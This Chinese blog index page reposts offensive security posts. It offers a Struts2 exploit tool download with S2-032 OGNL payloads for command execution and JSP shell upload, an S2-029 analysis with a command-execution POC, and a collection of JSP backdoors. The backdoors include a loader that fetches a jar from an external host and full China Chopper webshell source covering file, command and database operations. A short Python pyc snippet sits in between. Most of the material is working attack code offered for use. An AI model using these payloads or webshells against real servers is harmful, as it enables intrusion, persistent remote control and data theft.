[转]Struts2漏洞利用工具下载(已更新2016-V1.6版)

原文地址:http://www.shack2.org/article/1374154000.html
Struts2漏洞利用工具下载(已更新V1.6版)

新鲜出炉支持Struts2 s2-032漏洞的检查利用。如果有对Struts2 S2-029 这个鸡肋漏洞有兴趣的可以找我要下检查工具,这个鸡肋工具就不在这里共享了。

顺便分享下我改写的exp:

S2-032 20160426 漏洞参考 http://seclab.dbappsecurity.com.cn/?p=924

获取磁盘目录:

method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23path%3d%23req.getRealPath(%23parameters.pp[0]),%23w%3d%23res.getWriter(),%23w.print(%23path),1?%23xx:%23request.toString&pp=%2f&encoding=UTF-8

执行命令:

  1. method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[

  2. method:%23_memberAccess[%23parameters.name1[

上传文件:

method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23path%3d%23req.getRealPath(%23parameters.pp[0]),new%20java.io.BufferedWriter(new%20java.io.FileWriter(%23path%2b%23parameters.shellname[0]).append(%23parameters.shellContent[0])).close(),%23w.print(%23path),%23w.close(),1?%23xx:%23request.toString&shellname=stest.jsp&shellContent=tttt&encoding=UTF-8&pp=%2f

更新日志:

2016-04-26:
增加最新的S2-032远程代码执行漏洞,和S2-019很相似。
参考:http://seclab.dbappsecurity.com.cn/?p=924

2015-12-01:
采用scanner读数据流,再也不用担心s16不能执行net user/ipconfig/netstat -an等命令了。
增加复杂数据包(multipart/form-data)提交方式进行漏洞利用,可绕过部分防护。可执行命令,暂时无法上传文件。

2014-11-12:
最近遇到s19这个debug模式开启导致代码执行,这个有点少,但还是有一些,为了方便大家把13版本修改了一下。可以利用这个漏洞执行命令、上传shell。
警告:
本工具为漏洞自查工具,请勿非法攻击他人网站!

仅提供验证漏洞使用,请勿非法使用,产生的任何法律问题,一概与本人无关。

1461677890633_003831.jpg

下载地址:
Struts2漏洞利用工具2016版.rar 1461677445539015176.rar
Struts2漏洞利用工具2015版.rar 1449155324117072208.rar

原文地址:http://www.shack2.org/article/1374154000.html Struts2漏洞利用工具下载(已更新V1.6版) 新鲜出炉支持Struts2 s2-032漏洞的检查利用。如果有对Struts2 S2-029 这个鸡肋漏洞有兴趣的可以找我要下检查工具,这个鸡肋工具就不在这里共享了。 顺便分享下我改写的exp: S2...

>>>>>>>>>>>>>>阅读全文<<<<<<<<<<<<<<

将PyCodeObject保存为pyc

#!/usr/bin/env python

import py_compile
import imp
import os

def pycodeobject2pyc(pyobj, pycfile):
    with open(pycfile, 'wb') as fc: 
        fc.write('\0\0\0\0')
        timestamp = long(os.fstat(fc.fileno()).st_mtime)
        py_compile.wr_long(fc, timestamp)
        marshal.dump(pyobj, fc)
        fc.flush()
        fc.seek(0, 0)
        MAGIC = imp.get_magic()
        fc.write(MAGIC)

#!/usr/bin/env python import py_compile import imp import os def pycodeobject2pyc(pyobj, pycfile): with open(pycfile, 'wb') as fc: fc.write('\0\0\0\0') ti...

>>>>>>>>>>>>>>阅读全文<<<<<<<<<<<<<<

[转]Struts2-S2-029漏洞分析 命令执行

本文转自http://www.iswin.org/2016/03/20/Struts2-S2-029漏洞分析/

关于这个Struts2的漏洞感慨颇深,首先根据官方漏洞的描述,大家应该能很快找到漏洞出现的位置,基本上Struts2里面大部分标签都是存在OGNL代码二次执行的问题,问题虽然能很容易的发现,但是在最新版本里面要想成功利用该漏洞执行任意代码,需要绕过Struts2的安全管理器,所以说整个漏洞变成了一个如何绕过Struts2安全管理器的问题,我花了很多时间在想办法如何去绕过Struts2的安全管理器,一开始我从来没有想过Struts2里面的_memberAccess变量可以被修改,因为前几次Struts2的RCE问题中_memberAccess变量已经被纳入黑名单了,同时我把Struts2的安全管理器的源代码也看了一遍,似乎都很合理,但是直到安恒研究院的同学把POC丢出来的时候,_memberAccess变量依然可以被修改,真的是让人匪夷所思。所以本文也主要是围绕这个Bypass安全管理器来进行探讨,看看究竟是什么原因导致了Bypass安全管理器。

漏洞详情
从官方的描述看来这次是Strut2标签的问题,而且还是标签属性值OGNL二次解析的问题,利用条件比较苛刻,所以说这个漏洞威力并没有那么大,下面直接给出一部分存在问题的标签,其他的标签大家自己去找,这里只列出来几个比较典型的,这里主要说两类标签属性值,一个是id属性,在org.apache.struts2.components.UIBean类中我们很容易发现id参数在setID时已经进行了第一次OGNL表达式的执行,如下图
1.jpg
然后紧接着在org.apache.struts2.components.UIBean.populateComponentHtmlId(Form)方法中进行了第二次的OGNL表达式解析,如下如的
2.jpg
findStringIfAltSyntax方法最终会调用findString方法进行id值的第二次OGNL表达式执行

protected String findStringIfAltSyntax(String expr) {
        if (altSyntax()) {
            return findString(expr);
        }
        return expr;
    }

所以说这里凡是调用了org.apache.struts2.components.UIBean.populateComponentHtmlId(Form)方法的标签都存在二次解析的问题,通过eclipse很简单就可以找到有哪些标签存在这个问题,如下图
3.jpg

所以下列标签中的id属性只要可控,那么就会导致任意代码执行的问题

<s:head id=""/>
<s:file id=""/>
<s:reset id=""/>
<s:submit id=""/>
<s:updownselect id="" list=""/>

另一类为name属性,name属性的二次解析需要标签中的value为空,这样才能进行二次代码执行,由于name属性调用了org.apache.struts2.components.Component.completeExpressionIfAltSyntax(String)该方法,该方法定义如下

protected String completeExpressionIfAltSyntax(String expr) {
    if (altSyntax()) {
        return "%{" + expr + "}";
    }
    return expr;
}

该方法会自动在第一次表达式执行后添加%{}来标识这是一个ongl代码块,所以在写POC的时候记得这种情况下不要加%{},因为它会自动添加,比较典型的属性有

<s:hidden name="%{#request.poc}"></s:hidden>

其他的标签属性都一样,就不一一列举了。在Struts2的低版本中直接用以前Struts2的POC就可以了,但是在高版本中加入了新的安全策略,所以导致了在新的版本中以前的POC是没法用的。
不过对于漏洞的检测是没啥问题的如下图
4.jpg

不能执行命令,对于这个非常鸡肋的漏洞来说就更鸡肋了,下面来看看怎么bypass安全管理器的。
Bypass Struts2安全管理器
在讨论Bypass之前,首先非常感谢安恒信息安全研究院同学POC的分享。
在想怎么bypass安全管理器的时候,我对Struts2的安全管理器的策略也是花时间去看了的,毕竟对struts2不是特别的熟悉,我们先看看最新版本里面对OGNL表达式执行做了哪些限制,如下图
5.jpg

Struts2默认的安全规则就是上面红色框标记的部分,主要排除了一些可能存在问题的类以及包,首先来看看安全管理器有哪些东西,如下图
6.jpg

SecurityMemberAccess类继承了OGNL默认的的安全管理器DefaultMemberAccess,我们来看看DefaultMemberAccess类中有哪些属性以及他们的访问权限,如下图
7.jpg

这里可以看到上面圈起来的三个属性的修饰符是public,在DefaultMemberAccess中判断了调用方法的修饰符,如下图
8.jpg

如果调用属性的修饰符为public时就默认通过,那么我是否可以直接对上述三个属性值进行修改,看样子好像是不行的,因为Struts2的默认规则里面排除了该类型(MemberAccess),但是要想去修改_memberAccess变量中私有的属性值,必须得将上述三个变量设置为true。
我们再来看看SecurityMemberAccess类中是如何对OGNL表达式进行限制的,com.opensymphony.xwork2.ognl.SecurityMemberAccess.isAccessible(Map, Object, Member, String)方法最终进行判断的方法,部分代码如下
9.jpg

10.jpg
首先会按照默认规则进行判断,一旦不满足其中任何一个条件就会返回false,表示该OGNL表达式不具备执行的条件,通过对默认的规则进行分析以及fuzz,发现新版本中的规则都很死,要想执行命令或者静态方法基本上不太现实,但是POC明明是能够成功调用静态方法以及new对象和调用对象的任何方法,究竟是怎么回事?
我把OGNL表达式的执行流程走了一遍,发现Struts2开发人员在对ONGL表达式中的赋值操作时将判断条件写反了,这样一来就直接导致了前边做的所有的安全策略,在这里根本起不了作用,出问题的代码在ognl.ObjectPropertyAccessor.setPossibleProperty(Map, Object, String, Object),该函数主要是对OGNL语法树中的赋值表达式进行解析以及通过反射去完成相应的赋值操作,具体代码如下
11.jpg

我们先跟进ognl.OgnlRuntime.setMethodValue(OgnlContext, Object, String, Object, boolean)方法,如下
12.jpg

也就是说如果ognl.OgnlRuntime.setMethodValue(OgnlContext, Object, String, Object, boolean)方法返回true代表权限检查通过,否则返回false,也就是安全检查失败,但是这里的条件进行判断时把条件给写反了
ognl.ObjectPropertyAccessor.setPossibleProperty(Map, Object, String, Object)

//当条件不满足时返回false,一取反就成true,if条件满足,接着就会调用相关函数进行赋值操作
 if (!OgnlRuntime.setMethodValue(ognlContext, target, name, value, true))
     {
        result = OgnlRuntime.setFieldValue(ognlContext, target, name, value) ? null : OgnlRuntime.NotFound;
     }

所以说上述代码才是实现修改_memberAccess成员变量属性的决定性因素,所以即使做了权限检查,调用了相关判断函数,但是最终应为一个判断条件二前功尽弃,实在是不应该。
就是因为这个关键条件的判断的问题,导致了我们可以修改_memberAccess的任意属性哪怕是私有的属性。

漏洞利用
在bypass过安全管理器后,我们要想实现执行任意代码,只需要allowStaticMethodAccess=true(执行静态方法),excludedPackageNamePatterns=空集合(可以调用相关包)以及excludedClasses=空集合(可以调用任何类),满足这三个条件就可以执行任意代码了。
执行命令的POC如下

#_memberAccess.allowStaticMethodAccess=true,#_memberAccess.excludedPackageNamePatterns=#_memberAccess.excludedClasses=@java.util.Collections@EMPTY_SET,#a=new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"}).start().getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#screen=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),#screen.println(#d),#screen.close()

这里需要注意的是在一开始的时候我说主要有两类标签属性存在问题,一类是id,一类是name
如果id的属性可以控制,类似于下面代码

<s:file id="%{#request.poc}" />

那么对于的POC为如下图
13.jpg

如果对应的标签属性为name时,代码如下

<s:hidden name="%{#request.poc}"></s:hidden>

POC要稍微有点变化,因为name属性第二次进行OGNL调用时会自动对表达式加上%{}字符,所以对应的POC为如下图
14.jpg

不过上述标签的属性值不一定是直接通过参数传进来,具体的利用场景需要结合实际的条件。
参考
1 :http://seclab.dbappsecurity.com.cn/?p=678
2 :http://www.iswin.org/2016/03/20/Struts2-S2-029漏洞分析/

本文转自http://www.iswin.org/2016/03/20/Struts2-S2-029漏洞分析/ 关于这个Struts2的漏洞感慨颇深,首先根据官方漏洞的描述,大家应该能很快找到漏洞出现的位置,基本上Struts2里面大部分标签都是存在OGNL代码二次执行的问题,问题虽然能很容易的发现,但是在最新版本里面要想成功利用该漏洞执行任意代码,需...

>>>>>>>>>>>>>>阅读全文<<<<<<<<<<<<<<

jsp小后门【转】

转自园长博客:http://javaweb.org/?p=1627
每次去园长博客找,还不如写到自己博客,哈哈:)
一:执行系统命令:

无回显执行系统命令:

<%Runtime.getRuntime().exec(request.getParameter("i"));%>

请求:http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls

执行之后不会有任何回显,用来反弹个shell很方便。
有回显带密码验证的:

<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b,0,a));
        }
        out.print("</pre>");
    }
%>

请求:http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls

1.jpg

二、把字符串编码后写入指定文件的:

1:

<%new java.io.FileOutputStream(request.getParameter("f")).write(request.getParameter("c").getBytes());%>

请求:http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234

写入web目录:

<%new java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f")).write(request.getParameter("c").getBytes());%>

请求:http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234

2:

<%new java.io.RandomAccessFile(request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %>

写入web目录:

<%new java.io.RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %>

请求:http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234

三:下载远程文件(不用apache io utils的话没办法把inputstream转byte,所以很长…)

<%
    java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream();
    byte[] b = new byte[1024];
    java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();
    int a = -1;
    while ((a = in.read(b)) != -1) {
        baos.write(b, 0, a);
    }
    new java.io.FileOutputStream(request.getParameter("f")).write(baos.toByteArray());
%>

请求:http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png

下载到web路径:

<%
    java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream();
    byte[] b = new byte[1024];
    java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();
    int a = -1;
    while ((a = in.read(b)) != -1) {
        baos.write(b, 0, a);
    }
    new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray());
%>

请求:http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png

四:反射调用外部jar,完美后门

如果嫌弃上面的后门功能太弱太陈旧可以试试这个:

<%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter("u"))})).getMethods()[0].invoke(null, new Object[]{request.getParameterMap()})%>

请求:http://192.168.16.240:8080/Shell/reflect.jsp?u=http://xss.03sec.com/Cat.jar&023=A

2.jpg

菜刀连接:http://192.168.16.240:8080/Shell/reflect.jsp?u=http://xss.03sec.com/Cat.jar,密码023.

3.jpg

解:

利用反射加载一个外部的jar到当前应用,反射执行输出处理结果。request.getParameterMap()包含了请求的所有参数。由于加载的是外部的jar包,所以要求服务器必须能访问到这个jar地址。

Load代码:

import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;
 
/*
 * To change this license header, choose License Headers in Project Properties.
 * To change this template file, choose Tools | Templates
 * and open the template in the editor.
 */
/**
 *
 * @author yz
 */
public class Load {
     
    public static String load(Map<String,String[]> map){
        try {
            Map<String,String> request = new HashMap<String,String>();
            for (Entry<String, String[]> entrySet : map.entrySet()) {
                String key = entrySet.getKey();
                String value = entrySet.getValue()[0];
                request.put(key, value);
            }
            return new Chopper().doPost(request);
        } catch (IOException ex) {
            return ex.toString();
        }
    }
     
}

Chopper代码:

import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.lang.reflect.Method;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLClassLoader;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.ResultSetMetaData;
import java.sql.Statement;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Map;
 
public class Chopper{
 
    public static String getPassword() throws IOException {
        return "023";
    }
 
    String cs = "UTF-8";
 
    String encoding(String s) throws Exception {
        return new String(s.getBytes("ISO-8859-1"), cs);
    }
 
    Connection getConnection(String s) throws Exception {
        String[] x = s.trim().split("\r\n");
        try {
            Class.forName(x[0].trim());
        } catch (ClassNotFoundException e) {
            boolean classNotFound = true;
            BufferedReader br = new BufferedReader(new InputStreamReader(this.getClass().getResourceAsStream("/map.txt")));
            String str = "";
            while ((str = br.readLine()) != null) {
                String[] arr = str.split("=");
                if (arr.length == 2 && arr[0].trim().equals(x[0].trim())) {
                    try {
                        URLClassLoader ucl = (URLClassLoader) ClassLoader.getSystemClassLoader();
                        Method m = URLClassLoader.class.getDeclaredMethod("addURL", URL.class);
                        m.setAccessible(true);
                        m.invoke(ucl, new Object[]{new URL(arr[1])});
                        Class.forName(arr[0].trim());
                        classNotFound = false;
                        break;
                    } catch (ClassNotFoundException ex) {
                        throw ex;
                    }
                }
            }
            if (classNotFound) {
                throw e;
            }
        }
        if (x[1].contains("jdbc:oracle")) {
            return DriverManager.getConnection(x[1].trim() + ":" + x[4],
                    x[2].equalsIgnoreCase("[/null]") ? "" : x[2],
                    x[3].equalsIgnoreCase("[/null]") ? "" : x[3]);
        } else {
            Connection c = DriverManager.getConnection(x[1].trim(),
                    x[2].equalsIgnoreCase("[/null]") ? "" : x[2],
                    x[3].equalsIgnoreCase("[/null]") ? "" : x[3]);
            if (x.length > 4) {
                c.setCatalog(x[4]);
            }
            return c;
        }
    }
 
    void listRoots(ByteArrayOutputStream out) throws Exception {
        File r[] = File.listRoots();
        for (File f : r) {
            out.write((f.getName()).getBytes(cs));
        }
    }
 
    void dir(String s, ByteArrayOutputStream out) throws Exception {
        File l[] = new File(s).listFiles();
        for (File f : l) {
            String mt = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date(f.lastModified()));
            String rw = f.canRead() ? "R" : "" + (f.canWrite() ? " W" : "");
            out.write((f.getName() + (f.isDirectory() ? "/" : "") + "\t" + mt + "\t" + f.length() + "\t" + rw + "\n").getBytes(cs));
        }
    }
 
    void deleteFiles(File f) throws Exception {
        if (f.isDirectory()) {
            File x[] = f.listFiles();
            for (File fs : x) {
                deleteFiles(fs);
            }
        }
        f.delete();
    }
 
    byte[] readFile(String s) throws Exception {
        int n;
        byte[] b = new byte[1024];
        BufferedInputStream bis = new BufferedInputStream(new FileInputStream(s));
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        while ((n = bis.read(b)) != -1) {
            bos.write(b, 0, n);
        }
        bis.close();
        return bos.toByteArray();
    }
 
    void upload(String s, String d) throws Exception {
        String h = "0123456789ABCDEF";
        File f = new File(s);
        f.createNewFile();
        FileOutputStream os = new FileOutputStream(f);
        for (int i = 0; i < d.length(); i += 2) {
            os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i + 1))));
        }
        os.close();
    }
 
    void filesMove(File sf, File df) throws Exception {
        if (sf.isDirectory()) {
            if (!df.exists()) {
                df.mkdir();
            }
            File z[] = sf.listFiles();
            for (File z1 : z) {
                filesMove(new File(sf, z1.getName()), new File(df, z1.getName()));
            }
        } else {
            FileInputStream is = new FileInputStream(sf);
            FileOutputStream os = new FileOutputStream(df);
            int n;
            byte[] b = new byte[1024];
            while ((n = is.read(b)) != -1) {
                os.write(b, 0, n);
            }
            is.close();
            os.close();
        }
    }
 
    void fileMove(File s, File d) throws Exception {
        s.renameTo(d);
    }
 
    void mkdir(File s) throws Exception {
        s.mkdir();
    }
 
    void setLastModified(File s, String t) throws Exception {
        s.setLastModified(new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").parse(t).getTime());
    }
 
    void downloadRemoteFile(String s, String d) throws Exception {
        int n = 0;
        FileOutputStream os = new FileOutputStream(d);
        HttpURLConnection h = (HttpURLConnection) new URL(s).openConnection();
        InputStream is = h.getInputStream();
        byte[] b = new byte[1024];
        while ((n = is.read(b)) != -1) {
            os.write(b, 0, n);
        }
        os.close();
        is.close();
        h.disconnect();
    }
 
    void inputStreamToOutPutStream(InputStream is, ByteArrayOutputStream out) throws Exception {
        int i = -1;
        byte[] b = new byte[1024];
        while ((i = is.read(b)) != -1) {
            out.write(b, 0, i);
        }
    }
 
    void getCurrentDB(String s, ByteArrayOutputStream out) throws Exception {
        Connection c = getConnection(s);
        ResultSet r = s.contains("jdbc:oracle") ? c.getMetaData().getSchemas() : c.getMetaData().getCatalogs();
        while (r.next()) {
            out.write((r.getObject(1) + "\t").getBytes(cs));
        }
        r.close();
        c.close();
    }
 
    void getTableName(String s, ByteArrayOutputStream out) throws Exception {
        Connection c = getConnection(s);
        String[] x = s.trim().split("\r\n");
        ResultSet r = c.getMetaData().getTables(null, s.contains("jdbc:oracle") ? x.length > 5 ? x[5] : x[4] : null, "%", new String[]{"TABLE"});
        while (r.next()) {
            out.write((r.getObject("TABLE_NAME") + "\t").getBytes(cs));
        }
        r.close();
        c.close();
    }
 
    void getTableColumn(String s, ByteArrayOutputStream out) throws Exception {
        String[] x = s.trim().split("\r\n");
        Connection c = getConnection(s);
        ResultSet r = c.prepareStatement("select * from " + x[x.length - 1]).executeQuery();
        ResultSetMetaData d = r.getMetaData();
        for (int i = 1; i <= d.getColumnCount(); i++) {
            out.write((d.getColumnName(i) + " (" + d.getColumnTypeName(i) + ")\t").getBytes(cs));
        }
        r.close();
        c.close();
    }
 
    void executeQuery(String cs, String s, String q, ByteArrayOutputStream out, String p) throws Exception {
        Connection c = getConnection(s);
        Statement m = c.createStatement(1005, 1008);
        BufferedWriter bw = null;
        try {
            boolean f = q.contains("--f:");
            ResultSet r = m.executeQuery(f ? q.substring(0, q.indexOf("--f:")) : q);
            ResultSetMetaData d = r.getMetaData();
            int n = d.getColumnCount();
            for (int i = 1; i <= n; i++) {
                out.write((d.getColumnName(i) + "\t|\t").getBytes(cs));
            }
            out.write(("\r\n").getBytes(cs));
            if (f) {
                File file = new File(p);
                if (!q.contains("-to:")) {
                    file.mkdir();
                }
                bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.contains("-to:") ? p.trim() : p + q.substring(q.indexOf("--f:") + 4, q.length()).trim()), true), cs));
            }
            while (r.next()) {
                for (int i = 1; i <= n; i++) {
                    if (f) {
                        bw.write(r.getObject(i) + "" + "\t");
                        bw.flush();
                    } else {
                        out.write((r.getObject(i) + "" + "\t|\t").getBytes(cs));
                    }
                }
                if (bw != null) {
                    bw.newLine();
                }
                out.write(("\r\n").getBytes(cs));
            }
            r.close();
            if (bw != null) {
                bw.close();
            }
        } catch (Exception e) {
            out.write(("Result\t|\t\r\n").getBytes(cs));
            try {
                m.executeUpdate(q);
                out.write(("Execute Successfully!\t|\t\r\n").getBytes(cs));
            } catch (Exception ee) {
                out.write((ee.toString() + "\t|\t\r\n").getBytes(cs));
            }
        }
        m.close();
        c.close();
    }
 
    public String doPost(Map<String,String>request) throws IOException {
        cs = request.get("z0") != null ? request.get("z0") + "" : cs;
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        try {
            char z = (char) request.get(getPassword()).getBytes()[0];
            String z1 = encoding(request.get("z1") + "");
            String z2 = encoding(request.get("z2") + "");
            out.write("->|".getBytes(cs));
            String s = new File("").getCanonicalPath();
            byte[] returnTrue = "1".getBytes(cs);
            switch (z) {
                case 'A':
                    out.write((s + "\t").getBytes(cs));
                    if (!s.substring(0, 1).equals("/")) {
                        listRoots(out);
                    }
                    break;
                case 'B':
                    dir(z1, out);
                    break;
                case 'C':
                    String l = "";
                    BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
                    while ((l = br.readLine()) != null) {
                        out.write((l + "\r\n").getBytes(cs));
                    }
                    br.close();
                    break;
                case 'D':
                    BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));
                    bw.write(z2);
                    bw.flush();
                    bw.close();
                    out.write(returnTrue);
                    break;
                case 'E':
                    deleteFiles(new File(z1));
                    out.write("1".getBytes(cs));
                    break;
                case 'F':
                    out.write(readFile(z1));
                case 'G':
                    upload(z1, z2);
                    out.write(returnTrue);
                    break;
                case 'H':
                    filesMove(new File(z1), new File(z2));
                    out.write(returnTrue);
                    break;
                case 'I':
                    fileMove(new File(z1), new File(z2));
                    out.write(returnTrue);
                    break;
                case 'J':
                    mkdir(new File(z1));
                    out.write(returnTrue);
                    break;
                case 'K':
                    setLastModified(new File(z1), z2);
                    out.write(returnTrue);
                    break;
                case 'L':
                    downloadRemoteFile(z1, z2);
                    out.write(returnTrue);
                    break;
                case 'M':
                    String[] c = {z1.substring(2), z1.substring(0, 2), z2};
                    Process p = Runtime.getRuntime().exec(c);
                    inputStreamToOutPutStream(p.getInputStream(), out);
                    inputStreamToOutPutStream(p.getErrorStream(), out);
                    break;
                case 'N':
                    getCurrentDB(z1, out);
                    break;
                case 'O':
                    getTableName(z1, out);
                    break;
                case 'P':
                    getTableColumn(z1, out);
                    break;
                case 'Q':
                    executeQuery(cs, z1, z2, out, z2.contains("-to:") ? z2.substring(z2.indexOf("-to:") + 4, z2.length()) : s.replaceAll("\\\\", "/") + "images/");
                    break;
            }
        } catch (Exception e) {
            out.write(("ERROR" + ":// " + e.toString()).getBytes(cs));
        }
        out.write(("|<-").getBytes(cs));
        return new String(out.toByteArray());
    }
 
}

map.txt:

oracle.jdbc.driver.OracleDriver=http://javaweb.org/jdbc/classes12.jar
com.mysql.jdbc.Driver=http://javaweb.org/jdbc/mysql-connector-java-5.1.14-bin.jar
com.microsoft.jdbc.sqlserver.SQLServerDriver=http://javaweb.org/jdbc/sqlserver2000/msbase.jar,http://javaweb.org/jdbc/sqlserver2000/mssqlserver.jar,http://javaweb.org/jdbc/sqlserver2000/msutil.jar
com.microsoft.sqlserver.jdbc.SQLServerDriver=http://javaweb.org/jdbc/sqljdbc4.jar
com.ibm.db2.jcc.DB2Driver=http://javaweb.org/jdbc/db2java.jar
com.informix.jdbc.IfxDriver=http://javaweb.org/jdbc/ifxjdbc.jar
com.sybase.jdbc3.jdbc.SybDriver=http://javaweb.org/jdbc/jconn3d.jar
org.postgresql.Driver=http://javaweb.org/jdbc/postgresql-9.2-1003.jdbc4.jar
com.ncr.teradata.TeraDriver=http://javaweb.org/jdbc/teradata-jdbc4-14.00.00.04.jar
com.hxtt.sql.access.AccessDriver=http://javaweb.org/jdbc/Access_JDBC30.jar
org.apache.derby.jdbc.ClientDriver=http://javaweb.org/jdbc/derby.jar
org.hsqldb.jdbcDriver=http://javaweb.org/jdbc/hsqldb.jar
net.sourceforge.jtds.jdbc.Driver=http://javaweb.org/jdbc/jtds-1.2.5.jar
mongodb=http://javaweb.org/jdbc/mongo-java-driver-2.9.3.jar

转自园长博客:http://javaweb.org/?p=1627 每次去园长博客找,还不如写到自己博客,哈哈:) 一:执行系统命令: 无回显执行系统命令: <%Runtime.getRuntime().exec(request.getParameter("i"));%> 请求:http://192.168.16.24...

>>>>>>>>>>>>>>阅读全文<<<<<<<<<<<<<<